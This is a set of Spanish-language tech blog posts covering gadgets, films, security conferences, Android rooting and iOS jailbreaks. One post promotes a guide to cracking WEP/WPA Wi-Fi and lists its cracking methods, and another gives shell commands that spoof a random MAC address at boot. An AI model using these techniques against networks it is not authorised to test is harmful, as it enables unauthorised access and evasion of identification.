Te guste o no, se te de mejor o peor eso de aprender otro idioma, si hoy en día no sabes inglés, vas muy mal y sobretodo si te mueves por Internet. No sabes todo lo que te pierdes sobre todo si te dedicas a algún campo técnico de la informática.

Uno de los grandes recursos de los que dispones en Internet y que además es gratuito es Youtube. En él podemos encontrar cantidad de material educativo de casi cualquier tema, pero como esta entrada trata sobre aprender inglés, aquí os dejo una lista de canales de Youtube, que según makeuseof.com son los mejores para este propósito:

Identificador portátil de Pantone

Como diseñador gráfico tengo mil historias, cada una más rocambolesca que la anterior, sobre lo que entiende un cliente por un color determinado. Algunas de esas maravillosas frases que nos ponen los pelos de punta a más de uno:

-> "Ese banner tiene que tener el color del oro...  que no es el amarillo..."

y lo especifica, ante mi cara de asombro. Más tarde scaneó (¿?) su pitillera de oro para darse cuenta del craso error y llegamos al acuerdo de poner algún pantone 871 - 876 que son los dorados, el cliente siempre tiene razón.

Más alpiste para el crackeo de redes inalámbricas

El contenido del documento en cuestión es el siguiente:

About WEP About WPA Tools used to crack Wi-Fi Things to know before cracking WPA/WEP Cracking WEP Wesside-ng Cracking WEP 0841 Cracking WEP Chop Chop Cracking WPA with Airolib-ng & Cowpatty Cracking WPA with A Dictionary Things to remember when training

Podéis descargar el documento desde aquí o desde aquí (este enlace es de los cómodos, como le gusta a nuestro amigo Newlog ;-))

La evolución del Geek

Haz click en la imagen para verla más grande.

Fuente

Se acaba el tiempo, vota para los Premios …

Ya queda poco para terminar las votaciones, ACABAN ESTE VIERNES 22.

¡¡VAMOS A PONERNOS LA PILAS Y A VOTAR TODOS!!

Seguimos con nuestra apuesta:

• Security By Default
•  Un informático en el lado del mal
• 48Bits

Como dice Chema en su blog, vamos a poner un poco de orden ;), él hace una relación de otros blogs que también se merecen. Todos los de esa lista son grandes blogs de seguridad.

Por supuesto, también puedes votarnos a nosotros en el enlace que tienes a la derecha del blog. Estamos en la categoría de Blog de Seguridad (es todo un honor, aunque no lo seamos al 100%) y nos gusta también la clasificación de mejor Blog Tecnológico. Admitimos que somos un blog complicado de encasillar ;)

Corto, "The Black Hole"

Visto en io9.

Superando el "Cuello de botella de Von Neumann"

 

Antes de nada, el "Cuello de Botella de Von Neumann" es un problema de toda arquitectura basada en la arquitectura con el mismo nombre que todos conocemos. El ancho de banda entre la CPU y la memoria y bus para los dispositivos de E/S (Ej: discos duros) es muy pequeño en comparación con la interna de la CPU. No es problema fácil de resolver aunque haya muchas teorías, aquí puedes ver varias de ellas y el motivo por el cual no es tan fácil.

Uno de los aspectos más llamativos causados por este cuello de botella, es el arranque o “boot” del ordenador. Básicamente, la CPU tiene que adaptarse a la velocidad del bus de E/S para poder comunicarse con el disco duro y cargar el sitema operativo en memoria. Al ser más rápida la CPU, esto provoca un tiempo de carga que todos estamos acostumbrados a sufrir cuando conectas un ordenador.

PSFreedom para la Dingoo

Hace no mucho os comentabamos las virtudes de esta consola portátil aqui. Pues los poseedores de una Dingoo y una PS3 gracias a PSFreedom de KaKaRoTo ( me parto con el nick! :lol: ) puedes hacer que esta se comporte como un dispositivo PSJailbreak.

Por aquí un video:

Por aqui la fuente.

Parece ser que también se ha portado a algunos smartphones como el N900 o la Palm Pre, Iphone y Android! 8O

Presentaciones de la HITB SecConf 2010 - Malasia

Pues eso, las presentaciones de la HITB (Hack In The Box) 2010 celebrada en Malasia ya están disponible para descarga. Aquí os dejo el listado de dichas presentaciones con su correspondiente enlace:

Alexander Polyakov - Attacking SAP Users with sapsploit Fabian Mihailowitsch - Detecting Hardware Keyloggers Jonathan Brossard - Breaking Virtualization by Any Means Marco Slaviero - Cache on Delivery Meder Kydyraliev - Milking a Horse Laurent Oudot - Analyzing Massive Web Attacks Luis Corrons - Lessons Learned from Mariposa Mary Yeoh - Fuzzing the RTL Sebastian Ziegler - Smartphones, Applications and Security Shreeraj Shah - Hacking a Browsers DOM Halbronn and Jean Sigwald - iPhone Security Model Dennis Brown - Botnet Command and Control with Tor Jean Baptise Bedrune - Cracking DRM Paul Thierault - Can You Trust Your Workers The Grugq - Attacking GSM Basestations Claudio Criscione - Virtually Pwned Pentesting VMWare Don Bailey - Micro Control Long Le and Thanh Nguyen - Payload Already Inside Mitja Kolsek - Remote Binary Planting Saumil Shah - Exploit Delivery Chris Wysopal - Perpetual Insecurity Machine Paul Vixie - Taking Back The DNS

Robot LEGO para montar modelos de LEGO ¿?

 

O sea, un robot hecho con piezas del fantástico LEGO Mindstorm diseñado para construir otros modelos hechos también con piezas de LEGO … o como dicen en Boing Boing (fuente), una impresora 3D de LEGOs.

Mejor echa un vistazo al video.

Una aplicación Java que se ejecuta en el PC lee un fichero formato .ldr MLCad, determina las instrucciones de impresión y las envía por USB al robot fábrica de LEGOs.

Valencia, la ciudad más Geek

Image Credit Flickr User hermenpaca

Así es más o menos como definían a Valencia en este post de reddit. Yo no sé si será o no la ciudad más geek del mundo, pero tuve la oportunidad de estar allí el pasado verano y fue una experiencia muy bonita. Así que cuando vi dicho post y como geek y Español que soy, me sentí muy orgulloso. Además, el core de cyberhades también está en Valencia :-)

Si echas un vistazo a la entrada que enlazaban desde reddit, verás el porque de la ciudad más geek a través de unas espectaculares fotos, a menos que nuestro experto en fotografía tenga algo que objetar al respecto :-)

Cinemática de Cataclysm, la nueva expansión de …

 

Te guste o no World of Warcraft, sus cinemáticas son siempre espectaculares. Por supuesto, si eres fan de WoW vas a alucinar reconociendo los lugares que aparecen devastados y sobre todo el final …

Espectacular.

Visto en TodoWow.

HTCPCP/1.0 - rfc2324

¿Conocías este protocolo, HTCPCP? Hyper Text Coffee Pot Control Protocol. Es un protocolo definido para el control de cafeteras conectadas en red. Como bien dicen en su web, esto no es ningún estándar. Éste está basado, o mejor dicho funciona sobre HTTP 1.1. Básicamente añade algunos métodos nuevos (BREW, GET, PROPFIND y WHEN) al HTTP, así como campos de cabecera (Safe y Accept-Additions) y códigos de retorno (406 Not Acceptable, 418 I'm a teapot).

El formato de la URL sería: coffee-url = coffee-scheme “:” [ “//” host ] ["/" pot-designator ] ["?" additions-list ]

El Router: símbolo de control en un mundo …

No sé si es la traducción a Español, no he visto el corto original, pero que gracia me ha hecho.

Visto en un post de mi colega R. Sanchez.

Sitio oficial: Warriors of the Net

El monolito de Odisea 2001... como figura de …

Acción, acción, lo que se dice acción... no tiene mucha: "zero points of articulation".

En este blog somos fans de esta película:

1.- Es obvio ya que hasta el grafismo está basado en ella...

2.- Que podríamos tener algún símil, poster o muñeco de la película encima del escritorio, pudiera ser...

3.- Que alguno, como cybercaronte :-), comprara todo el conjunto de clips de famovil de la peli, también podría ser...

Borrando aplicaciones en tu Android

No sé si en España cuando te compras un nuevo terminal con cualquiera de las operadoras de telefonía, estas te cargan el móvil con lo que por aquí (EEUU) se conoce como bloatware, muchas aplicaciones que no necesitas, versiones demos y que lo único que hacen es consumir memoria en tu terminal y claro desinstalarlas no es una opción, porque no puedes a menos que "rootees" tu terminal y sigas estos sencillos pasos (en este momento asumo que tienes correctamente instaladas las SDK de Android y que tu terminal está "rooteado"):

1.- Conectamos el terminal a nuestro equipo. Asegúrate que tienes activado el modo debugging. 2.- Nos aseguramos que teléfono ha sido reconocido:

10 recetas de comida rápida que puedes hacer en …

 

Seguro que alguna vez te has preguntado por qué está tan bueno el pollo del Kentucky, auténticas palomitas de cine ó la hamburguesa BigMac. En  LifeHacker nos muestran la receta para que podamos hacer en casa algunas de las comidas más conocidas de algunos restaurantes de comida rápida:

1. Taco Bell Double Decker Tacos
2. Chipotle
3. Palomitas de cine
4. Kentucky Fried Popcorn Chicken
5. Stuffed Crust Pizza
6. Carl's Jr. Western Bacon Cheeseburger
7. McDonald's Big Mac
8. In and out Double Double Burger
9. Wendy's Frosty
10. Patatas fritas McDonald

Visto en este artículo de LifeHacker.

Rooting the DroidX

Este es el proceso que yo he seguido para "rootear" mi Motorola DroidX con la versión 2.2 de Android Froyo. Según parece este mismo proceso es igualmente válido para "rootear" el Droid2. Lo primero que debes hacer es activar en el terminal el modo debug (Settings -> Applications -> Development -> USB debugging) y por supuesto tener instalado las SDK de Android correctamente configuradas. Luego sigue estos pasos:

1.- Conecta tu terminal a tu ordenador. 2.- Pon el teléfono en PC mode. 3.- Bájate este fichero. 4.- Extrae el contenido del fichero que te acabas de bajar. (Ej. ~/droid2root) 5.- Abre un terminal. 6.- cd /donde-tengas-las-sdk/tools 7.- adb devices - Para asegurarnos el sistema reconoce tu terminal.

Mercromina, "El libro de oro de la congelación", …

 

Muy, muy, muy injusta es la música en nuestro país, grupos tan increibles como Mercromina nunca se les dió la cobertura ni el reconocimiento que se merecían, pero bueno mejor no entro al debate que me conozco. He tenido la oportunidad de verlos más de una vez en directo y os puedo asegurar que en pocos (y he estado en muchos conciertos) he disfrutado como en los suyos. Sonaban en directo exactamente igual que en los discos, sin sorpresas y con una calidad extrema. Guardo con mucho cariño uno de sus discos firmado por todos ellos en un concierto que dieron en mi querido El Puerto de Santa María.

RIP, Mandelbrot

Zoom en un Mandelbox. Creado con Mandelbulb 3D.

Muere a los 85 años Benoit Mandelbrot, el padre de la geometría fractal.

Benoît Mandelbrot

Entrevista con Punset: No todo es liso en la vida

Link boingboing

Swedish Chameleon: haz de tu DSLR la más práctica …

Entrevista con el creador

Si crees que tu cámara es solo el cuerpo y el objetivo es que estas muy equivocado. Puedes llenar una Kata entera y no tendrás ni la mitad de lo que ofrece un kit como el SC Flying V: sujecciones, agarres, raíles, autoenfoques mecánicos... cualquier extensión que le pueda venir bien a tu reflex la tienen la gente de Swedish Camaleon. Lo que más llama la atención de sus kits es lo pequeños que son pero que está pensado hasta el más mínimo detalle. Eso sí, la web oficial deja bastante que desear.

Increíble simulador casero

Link adafruit

Peter Jackson dirigirá The Hobbit

 

Por fin, después del abandono de Guillermo del Toro (no importa Guillermo, te quermos igual) , todos estábamos un poco preocupados por el futuro de The Hobbit. Hoy ya podemos estar más tranquilos, Peter Jackson dirigirá las dos películas basadas en el libro de Tolkien que empezará el rodaje en Febrero de 2011. También se sabe que no de rodará en Nueva Zelanda, aún están buscando localizaciones por todo el mundo.

Visto en TheFireWire.

Tutorial C# Development Segunda Parte: Toolbox …

 

Ya tenemos la segunda parte de este nuevo tutorial de HackADay  (aquí tienes la primera) sobre C# ó C SHARP. Esta vez nos habla sobre las cajas de herramientas y los controles del Visual Studio (recuerda que puedes bajarte la versión express de forma gratuita desde aquí).C# Development 101 - Segunda Parte: Toolbox Controls

Manada de lobos Vs policía

Ocurrió ayer por la noche en Rusia. Aproximadamente son unos 16 lobos los que irrumpen en medio de este control policial. A ver quien es el guapo que se queda fuera.

Ya sé que no tiene nada que ver con el blog pero por un lado me ha hecho gracia y por otro me he alegrado de que todavía anden manadas sueltas aunque sea en la Rusia más profunda. Parece que aún cabe la posibilidad de que nuestros nietos vean algún reducto de vida salvaje.

Jailbreak iOS 4.1

Hace pocos días salieron un par de aplicaciones para jailbreak del último iOS de Apple en sus dispositivos portátiles. Una de ellas es GreenPois0n y la otra Limera1n. Ambas están para Windows y Mac, creo que GreenPois0n también para Linux y están funcionando bastante bien. A la hora de decantarte por el uso de una o de la otra, ambas son igual de faciles de usar, y parece que GreenPois0n trabaja sobre dispositivos de cuarta generacion (iPhone 4, iPod Touch 4G e iPad) y Limera1n aparte de estos, también 3G y 3GS.

iPad dentro de un iBook G3

 

Simple pero espectacular mod de hardware  usando un Apple iBook G3, un teclado Apple y un iPad. Con esto creas un portátil totalmente operativo usando un iPad como base del sistema.

Perfecto para Apple fans.

Eso sí, es un poco más incómodo que llevar sólo el iPad ;)

Web del autor aquí traducida a español, ya que la original está en japonés.

Vía PCWorld.

Juega a ser un Starfighter y monta tu propia …

 

Qué recuerdos, qué buena película The Last Starfighter (1984) (Starfighter en España) . No sé cuantas veces la he visto y soñaba con el día en que los juegos fueran como el que aparecía en la película. Bueno esa tecnología ya está más que superada pero ahora toca un poco de añoranza retro.

Desde este enlace puedes descargarte la versión completa y gratuita para Windows del juego basado en esta película. Y desde este otro podrás descargar las instrucciones para crearte tu propia máquina recreativa.

Genera una MAC aleatoria

Curiosa e interesante la idea de esta entrada de asignar una MAC aleatoria cada vez que reinicies tu sistema. Aunque lo que tiene miga y te puede dar mucho juego es el comando para generar la MAC:

MAC=00:`cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 200 | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`;

Con esa linea asignas una MAC aleatoria a una variable llamada MAC. Si quieres ver el contenido de la misma:

echo $MAC

Si quieres ver la salida directamente:

echo 00:`cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 200 | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`;

Si quieres que tu sistema le asigne una MAC distinta cada vez que arranques tu máquina, debes poner estas líneas en tu /etc/rc.local o alguno de los ficheros que se ejecuten durante el arranque, pero que se ejecute con permisos de root y después de que se hayan cargado los drivers de la tarjeta de red a la que quieras cambiarle la MAC.

MAC=00:`cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 200 | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`;
ifconfig wlan0 down
ifconfig wlan0 hw ether $MAC
ifconfig wlan0 up
service network-manager stop
service network-manager start

ComBots Cup V: violencia robótica

Si estas por San Francisco hasta el 24 de Octubre te puedes acercar al ComBots Cup Sporting y ver las competiciones de lucha entre robots asesinos. Estos eventos son la antesala del los juegos olímpicos. Hay 10 categorías que se ordenan por pesos y no por estilo de lucha ya que una vez que entran en la arena todo vale: sierras, catapultas, cuchillos y hasta lanzallamas!!! Es todo un espectáculo que se refleja en las caras de la gente del público.

Video del nuevo Star Wars: The Force Unleashed II …

 

Espectacular, pero ojo, te revela parte del argumento del juego.

Visto en Ripten.

Nuevo número de HITB

Ya hay disponible un nuevo número de la revista HITB (Hack In The Box). Esta es la cuarta revista de este año 2010.

Este es el contenido de la misma:

• Notorious Datacenter Servers Support Systems Pwning Through Outer Sphere.
• Custom console host on Windows 7.
• Windows Objects in Kernel Vulnerability Exploitation.
• Stepping Through a Malicious PDF Document.
• Decrypting TrueCrypt Volumes with a Physical Memory Dump.
• Reconstructing Dalvik Applications using UNDX.
• Ubuntu For Non-Geeks.
• Aditya Sood.

Podéis descargarla desde aquí.

Mario en 5x5 pixels

Y también Ken de Street Fighter:

Puedes ver algunos más en el phostream del autor, Alexander Shen.

Visto en Kotaku.

Presentada una 4K Multipropósito en la Canon Expo …

La Canon Expo se ha celebrado entre los días 12 y 14 del mes de Octubre y alberga tanto lo último en tecnología como ofertas irrepetibles de compra que no-podrás -dejar-pasar. Como colofón final, ya que hoy termina, se ha presentado una cámara conceptual y "de mano" que graba 4K a 60 FPS, y digo de mano porque por lo general son aparatos similares a un bazooka. El único problema que le veo es que tiene un pobre sensor CMOS de 8 Mp 2/3 de pulgada... eso significa que hace interpolaciones??? :-( Esperemos que no, seamos bienpensados y digamos que... es solo un prototipo.

Videollamadas "gratis"

Tango es una aplicación gratuita disponible para Android e iPhone (de momento) que permite hacer llamadas de voz o videollamadas y comunicarse entre dispositivos que lo tengan instalado utilizando WIFI o 3G, por lo que he probado con GPRS o EDGE funciona justito solo para voz. Permite usar la camara  frontal si dispones de ella o la trasera para las videollamadas. Lo de gratis entre comillas es porque si no dispones de una tarifa de datos en tu terminal o una wifi al alcance mas vale que no lo intentes :-D.  Es muy sencillo, funciona bastante bien y no necesitas darte de alta, tan solo poner tu numero de teléfono para registrarte, automaticamente te apareceran quien de tus contactos lo tiene en funcionamiento. Hoy he realizado perfectamente unas 5 llamadas con cobertura 3g …… esto seguro que va a dar mucho que hablar.

Editor HTML en tiempo real

HTML Instant es un editor HTML en tiempo real y online, es decir, funciona desde tu navegador. Ideal para hacer pruebas y ver inmediatamente el resultado de tu código.

Tron Night

Tron Night es un evento (28 de Octubre) donde se proyectarán más de 20 minutos exclusivos sobre la película Tron Legacy en cines IMAX 3D antes de su estreno el 17 de Diciembre. A través de esta web se pueden comprar las entradas. Según indican en dicha página cada país administra su propia forma de distribución de las entradas. España en este momento no tienen a la venta dichas entradas, al menos a través de dicha web y dónde yo vivo está todo vendido. Bueno habrá que esperar.

Mientras puedes ver las entradas en las que hemos hablado anteriormente en cyberhades.

Más de 300 minutos de vídeo tutoriales sobre …

Una de las herramientas que sin duda un pentester o auditor de seguridad tiene que tener y controlar es Metasploit. Esto no es fácil, ya que este framework es bastante grande y por lo tanto mucho que aprender del mismo. En este enlace podemos ver una recopilación de vídeos sobre dicha herramienta. Según el autor de los vídeos, la serie todavía no está terminada y también nos recuerda que para estar al día con los últimos capítulos, podemos seguirlo en www.securitytube.net, del que ya hablamos en su día aquí.

Foto curiosa del Imperio Contraataca

(Foto: VanityFair)

Cómo le quita encanto a la escena (que por cierto es de las mejores de la película) los colchones usados debajo de Luke ;)

Puedes ver más fotos en VanitiyFair.

Vídeos Google I/O 2010

Los pasados 19 y 20 de Mayo, se celebró la Google I/O 2010 en Moscone Center, San Francisco. Está conferencia que Google celebra anualmente y que ya están pensando en el año que viene, está llena de todo tipo de charlas basadas en sus productos. Desde Android hasta el uso y novedades de sus APIs más recientes.

Las más de 90 sesiones o charlas que se celebraron, ya están disponibles para su descarga desde la web oficial de la misma.

Emulador de Game Boy escrito en Javascript: …

En esta ocasión, Imran Nazar nos explica en su nueva entrada el uso de sprites, bloques de datos (gráficos) que movemos por la pantalla independientemente del fondo (background).

La CPU La Memoria La GPU Gráficos Integración Sprites

Rijndael Cipher (AES) - Tutorial Visual

El algoritmo de cifrado o encriptación Rijndael o también conocido como AES (Advanced Encryption Standard), es un algoritmo de clave simétrica que fue aceptado en 2001 como un estándar por el gobierno de los EEUU.

Este algoritmo fue inventado por 2 Belgas, Joan Daemen y Vincent Rijmen. De ahí su nombre Rijndael (Rij and Dae, no sé de dónde sale la “l” :-()

Y esta pequeña y muy reducida introducción, sólo para dejaros este enlace con una animación hecha en flash dónde nos enseña de forma visual el funcionamiento de dicho algoritmo en su versión de 128 bits.

Los humanos también perdemos al Ajedrez Japonés

(Foto: Improbable Research)

Ya no sólo perdemos al ajedrez tradicional contra ordenadores, ahora también con el Ajedrez Japonés, llamado Shogi, y según muchos jugadores afirman, es más difícil incluso que el ajedrez tradicional. Nunca había perdido hasta ahora un humano (y además uno de los mejores jugadores de Shogi) contra una máquina, bueno más bien contra 169 ordenadores conectados en red.

La IA avanza …

Puedes ver al artículo completo aquí.

Un "Time Machine" gratuito para Windows

 

Todos conocemos el magnífico “Time Machine” de Apple que funciona realmente bien. Desde la versión Mac OS x 10.5 se lleva implementando esta función que te permite “viajar en el tiempo” con tus datos. Restaura la situación del ordenador a una fecha concreta, pero ojo, no es como el “Restaurar Sistema” de Windows, el Time Machine restaura todo, también ficheros.

Comodo ha creado una herramienta fácil de usar que funciona de forma parecida al Time Machine de Apple, se llama, como no, Comodo Time Machine. Simplemente especifica las unidades en las que quieres habilitar el Time Machine y luego aparecerán otras opciones más avanzadas. Entre ellas “Take a Snapshot” (tomar una instantánea del sistema), restaurarla, recuperar ficheros específicos (esta es muy buena opción, puedes recuperar ficheros específicos sin tener que restaurar el sistema completo), etc.

Intro de un capítulo de los Simpsons dirigida por …

Muchos de vosotros ya conocéis la obra de Banksy. Ya se comentó aquí mismo hace un tiempito. Pues bien, parece que le han permitido dirigir la intro a un capítulo de los Simpsons. No tiene desperdicio.

Gracias Neil por el envío.

La NASA modifica una foto de Titán y Dione, y …

 

Menudo revuelo se ha montado con la foto del día en Astronomy Picture Of The Day de la NASA una foto de Titán de fondo con Dione al frente, que al parecer, ha sido retocada (y además se nota mucho).

Y claro, una nueva teoría de grupos conspiranoicos  acaba de nacer ¿está ocultando la NASA un misterioso objeto oculto detrás de la luna Dione? …

Un usuario de YouTube ha mostrado un video donde claramente se ve la modificación:

Windows Phone 7, primeras imágenes y demostración

Desde luego no tiene mala pinta, pero la pregunta es ¿podrá competir con iPhone y Android? … ya veremos.

Visto en EdibleApple.

35 tutoriales de alto nivel para Actionscript

Alto nivel, no por su dificultad si no por la calidad de estos. La gente de Creativefan ha buscado los mejores tutoriales para Flash y Actionscript. Algunos son para novatos y estan realizados con mucho sentido didáctico pero otros requieren de cierto nivel técnico previo. Sin excepción, todos tienen un "paso a paso" muy bueno.

1.- Crea Componentes con XML, Action y Flickr

2.- Diseñar interfaz futurista

3.- Elementos de interfaz dinámicos

Steve Wozniak aparece en The Big Bang Theory …

 

Este capítulo de esta fantástica serie es realmente genial, todos son espectaculares pero este no puede ser más geek.

Ojo, si sigues leyendo te encontrarás con un spoiler …

World of Warcraft "Cataclysm" saldrá a la venta el …

 

Si eres seguidor del mayor juego de rol online  del mundo, estás de enhorabuena, el día 7 de diciembre saldrá la nueva expansión llamada “Cataclysm”.

Por cierto, World of Warcraft ya tiene 12 millones de jugadores en todo el mundo.

Visto en TodoWow.com

Premios Bitácoras mejor blog Seguridad …

 

Entre los cinco primeros hay dos que realmente lo merecen:

• Primero el gran blog: Security By Default
• Segundo el de Chema: Un informático en el lado del mal

Y luego hay otro que está demasiado lejos de los cinco primeros y se merec estar más arriba:  48Bits. 

No entiendo qué hace Genbeta el segundo en esta clasificación pero bueno (Genbeta es un gran blog pero no es de seguridad).

Ubuntu 10.10 Maverick disponible

 

Ya puedes descargar la versión 10.10 de Ubuntu llamada Maverick. Entre sus nuevas características:

• Mejoras visuales
• Nuevo instalador
• Área de Notificación
• Versión Notebook: Unity
• Soporte Multitouch
• Visor de documentos
• ... y mucho más.

Puedes ver más información en castellano aquí.

Domingo de lluvia por la mañana, Aspirins for my …

Aspirins - Cutter from Mr. Harrison on Vimeo.

 

Fijáos en el espectacular video para la canción “Cutter” del grupo tecno inglés llamado Aspirins for my children.

Festival Coachella 2010 en tilt-shift

Macrofestival que se ha celebrado en abril en Indio, California. Buena luz, buena lente, buena crane (muy muy buena), buenos nocturnos, buenos tiempos... en definitiva, un pedazo de tilt-shift como la copa de un pino.

Poster oficial con los grupos: Muse, Gorillaz, Jay-Z, Tiësto, Vampire Weekend...

Dedicado a Elena, la más festivalera ;-)

Link blameitonthevoices

Vuelven las aventuras basadas en texto ... en los …

 

Algunas empresas están empezando a preparar una versión de las viejas aventuras de texto como por ejemplo Zork I,II,II para Kindle y otros libros electrónicos.

Parece que no sólo serán de texto ,puede que incluyan gráficos y posiblemente lleguen a hacer versiones como por ejemplo del maravilloso Dwarf Fortress. Teclado  y cursores tienen casi todos los libros electrónicos, así que este parece ser el futuro de los juegos en dichos dispositivos, ya veremos.

Microhistorias: Doom’s day o el día del …

 

foto: mix.pe

10 de Diciembre de 1993, los dos John (John Carmack y John Romero) ya tenían terminada una de las obras maestras de los videojuegos  de todos los tiempos: DOOM.

Después de haber triunfado con el famoso Commander Keen vendiéndolo como shareware (y conseguir más de 30.000$ al mes) y luego el genial Wolfstein 3D, Carmack quería llegar aún más lejos y se centró en mejorar y perfeccionar su motor 3D, sobre todo con el uso de texturas y la velocidad.

UFS sustituirá a SD ¿Cuáles serán las memorias del …

Aunque todavía les queda mercado para rato las memorias actuales de almacenamiento flash están alcanzando su límite electrónico pero no te preocupes algunos ya se han dado cuenta de ello y, por ejemplo, Samsung está intentando impulsar un nuevo estándar: el UFS (Universal Flash Storage). Mayor rapidez  (300 mbps), mayor almacenamiento, menor consumo, menor temperatura y menor requerimiento de buffer. Lo que dictaminará todas estas nuevas mejoras será la Asociación JEDEC que lo conforman unas 300 empresas entre las que están Samsung, Nokia, Sony Ericsson y Texas Instruments. El nuevo estándar estará disponible para comienzos del año que viene y se denominará UFS JEDEC pero Samsung , en colaboración con Micron Technology, Nokia, Texas Instruments y STMicroelectronics, ya está desarrollando las primeras tarjetas de memoria basadas en UFS.

El módulo lunar ruso que nunca se utilizó

 Impresionante foto, no sabía que los rusos hubieran llegado tan lejos, hasta el punto de fabricar un módulo lunar casi totalmente operativo (bastante parecido al de los americanos).

No lo usaron pero realmente les faltó poco, la mayoría de las causas fueron económicas y políticas, pero tecnología sí tenían la suficiente para hacerlo.

Más fotos en io9 y artículo original en ruso pero con traducción Google al español aquí, no os perdáis este enlace ya que tiene fotos realmente alucinantes.

AE Suicide: After Effects no te dejará tirado …

Si trabajas con After Effects es muy probable que hayas visto, alguna vez que otra, una ventana emergente en la que ponía “After Effects se ha cerrado inesperadamente”... todo tu trabajo se ha esfumado... y tu ratón vuela por la ventana.

Según mi experiencia, yo trabajo con CS3, esto suele ocurrir a partir de la décima capa o, en su defecto, audio en mal estado. Si el material que sueles utilizar en el timeline no es tuyo y trabajas mucho la post-producción (re-re-re-re-renderizas) entonces este script te vendrá muy bien, eso sí... sólo para OSX :-( y parece que está basado (Optimize the Pipeline) en el CS4,  pero no se indica claramente en la página oficial.

Handbook of Applied Cryptography

El que se considera como el mejor libro sobre criptografía, Handbook of Applied Cryptography se encuentra a disposición de cualquiera para su libre descarga.

El índice del mismo es el siguiente:

• Chapter 1 - Overview of Cryptography
• Chapter 2 - Mathematics Background
• Chapter 3 - Number-Theoretic Reference Problems
• Chapter 4 - Public-Key Parameters
• Chapter 5 - Pseudorandom Bits and Sequences
• Chapter 6 - Stream Ciphers
• Chapter 7 - Block Ciphers
• Chapter 8 - Public-Key Encryption
• Chapter 9 - Hash Functions and Data Integrity
• Chapter 10 - Identification and Entity Authentication
• Chapter 11 - Digital Signatures
• Chapter 12 - Key Establishment Protocols
• Chapter 13 - Key Management Techniques
• Chapter 14 - Efficient Implementation
• Chapter 15 - Patents and Standards
• Appendix - Bibliography of Papers from Selected Cryptographic Forums
• References
• Index

Vídeos de la Defcon 18 y la BlackHat 2010

Pues eso, todos los vídeos de la Defcon 18 y la BlackHat 2010 disponibles en este canal de youtube.

Aquí tienes un torrent con todos los vídeos de la Defcon, por si te lo quieres bajar todos de golpe.

Cómo configurar y optimizar el acceso sin cables …

 

Espectacular artículo de LifeHacker donde nos explican diferentes casos y formas de configurar nuestra WiFi para que llegue a todos los rincones de nuestra casa. Pero la cosa no queda aquí, también nos explican cómo mejorar la señal de nuestro teléfono móvil y soluciones para imprimir, escanear y almacenar todo vía "wireless".

El tutorial se divide en:

Expanding Your Wireless Network

Better Cellular Wireless

Wireless Audio and Video for Your Home Theater

Hakin9 Octubre: Email Security, Web Malware, IPv6

Ya tenemos disponible un nuevo número de esta magnífica revista sobre seguridad, con el siguiente contenido:

Knowing VoIP Part I by Winston Santos Web Malwares – part 3 by Rajdeep Chakraborty Ipv6 Security Implications by Antonio Merola? Session Riding by Miroslav Ludvik The Greatest Hacking Breach In Cyber History by Gary Miliefsky An analysis of email security issues for end-users by Julian Evans

La podéis descargar desde aquí

El verdadero propósito de la ciencia

En breve: Premio Nobel de Videojuegos. ¿Quién dijo que las matemáticas eran aburridas?

Link abstrusegoose

Aprende fácilmente japonés y chino con Skritter

"Aprendes un carácter cada 192 segundos y recuerdas el 95% de lo aprendido" Ese es el compromiso y el objetivo de esta página que te enseñará a realizar correctamente los trazos de los símbolos, a aprender sus significados y a  pronunciarlos correctamente. Suena bien, eh? Además tendrás acceso a 105 libros electrónicos de estos dos idiomas  para especializarte en negocios, viajes, short-term, informática o niveles avanzados con antiguos dialectos. Tienes dos semanas para probarlo y después el precio es de $9.95 al mes.

¿Listos para empezar la semana?: Primer vídeo del …

Arcade Fire lanza el primer vídeo de su nuevo disco: The Suburbs.

Ready to Start, cancionaza!!

Buen lunes!!

Skyline, segundo trailer

Ya hablamos de esta película en CyberHades, pero la verdad es que el trailer tenía buena pinta pero realmente no se veía prácticamente nada … hasta ahora. Se ha publicado este segundo trailer donde ya aparecen escenas de acción dignas de un videojuego (se parece a Crysis).

Bueno, con precaución, esperaremos a verla, de momento tiene buena pinta.

Pero ojo, ya le llaman “secuela de Independence Day” … madre mía …

The BBS Documentary

Si eres de mi quinta, que aún tienen metido en la cabeza el ruido de los modems al conectar ó de los que cuando conseguiste un modem de 14.400 baudios pensabas que ibas a volar por Internet (recuerdo perfectamente lo feliz que estaba el día que conseguí un modem US Robotics de 14400 baudios), no puedes perderte este documental (tiene ya su tiempo, creo que es de 2005). Por aquella época no existía la Web tal y como la conocemos hoy, todo se cocinaba en las famosas BBS (Bulletin Board System) además en modo texto, lo máximo que podías hacer era ANSI Art. Mi colega tuxotron hace poco publicó un post hablando de las BBS que aún están en activo para que puedas volver a visitarlas. En cierto modo se podría decir que eran las precursoras de los actuales blogs.

Puedes comprarlo aquí aunque al estar bajo licencia Creative Commons, puedes visualizarlo online por ejemplo desde estos enlaces (8 partes del documental y otro enlace a  la librería BBS):

Sintel, corto Creative Commons creado por la …

 

Espectacular corto en 3D llamado Sintel creado por un grupo de artistas internacionales colaborando entre ellos usando la herramienta para diseño 3D de software libre llamada Blender. Está bajo licencia Creative Commons 3.0

Increible calidad sin que haya detrás ningún estudio de Hollywood.

Visto en SlashDot.

Domingo, The Posies "Solar Sister"

Animado por mi colega Okajey ;) , os pongo una canción del fantástico y mítico grupo “The Posies” que tuvimos el placer de ver en directo este viernes pasado en la sala Wah Wah de Valencia.

Misma canción “Solar Sister” en directo:

Nuevo trailer de Paranormal Activity 2

¿Dónde están las Pioneer? Creadoras de nuevas …

Para ser sincero yo pensaba que el tema de la ubicación de las sondas Pioneer sería algo parecido al que hice sobre las Voyager: un par de objetos lanzados al espacio que van del punto A al punto B en un tiempo determinado, pero me equivoqué. Por un lado, me encuentro con un debate que nació en el mismo instante en el que las sondas comenzaron a desviarse, y por otro, las nuevas teorías físicas que están naciendo porque la Ley de Gravitación Universal parece inválida ante el extraño movimiento que siguen ambas.

Soñando con Gliese 581g, el primer planeta …

